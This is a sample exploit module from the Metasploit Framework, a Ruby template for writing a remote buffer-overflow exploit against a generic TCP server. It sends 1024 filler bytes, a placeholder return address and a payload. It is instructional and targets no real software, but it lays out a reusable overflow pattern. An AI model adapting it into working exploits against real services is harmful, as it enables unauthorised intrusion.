##
# $Id: sample.rb 9212 2010-05-03 17:13:09Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

module Msf

###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary TCP server.
#
###
class Exploits::Sample < Msf::Exploit::Remote

	#
	# This exploit affects TCP servers, so we use the TCP client mixin.
	#
	include Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sample exploit',
			'Description'    => %q{
					This exploit module illustrates how a vulnerability could be exploited
				in an TCP server that has a parsing bug.
			},
			'Author'         => 'skape',
			'Version'        => '$Revision: 9212 $',
			'References'     =>
				[
				],
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
				},
			'Targets'        =>
				[
					# Target 0: Windows All
					[
						'Windows Universal',
						{
							'Platform' => 'win',
							'Ret'      => 0x41424344
						}
					],
				],
			'DefaultTarget' => 0))
	end

	#
	# The sample exploit just indicates that the remote host is always
	# vulnerable.
	#
	def check
		return Exploit::CheckCode::Vulnerable
	end

	#
	# The exploit method connects to the remote service and sends 1024 A's
	# followed by the fake return address and then the payload.
	#
	def exploit
		connect

		print_status("Sending #{payload.encoded.length} byte payload...")

		# Build the buffer for transmission
		buf  = "A" * 1024
		buf += [ target.ret ].pack('V')
		buf += payload.encoded

		# Send it off
		sock.put(buf)
		sock.get

		handler
	end

end

end
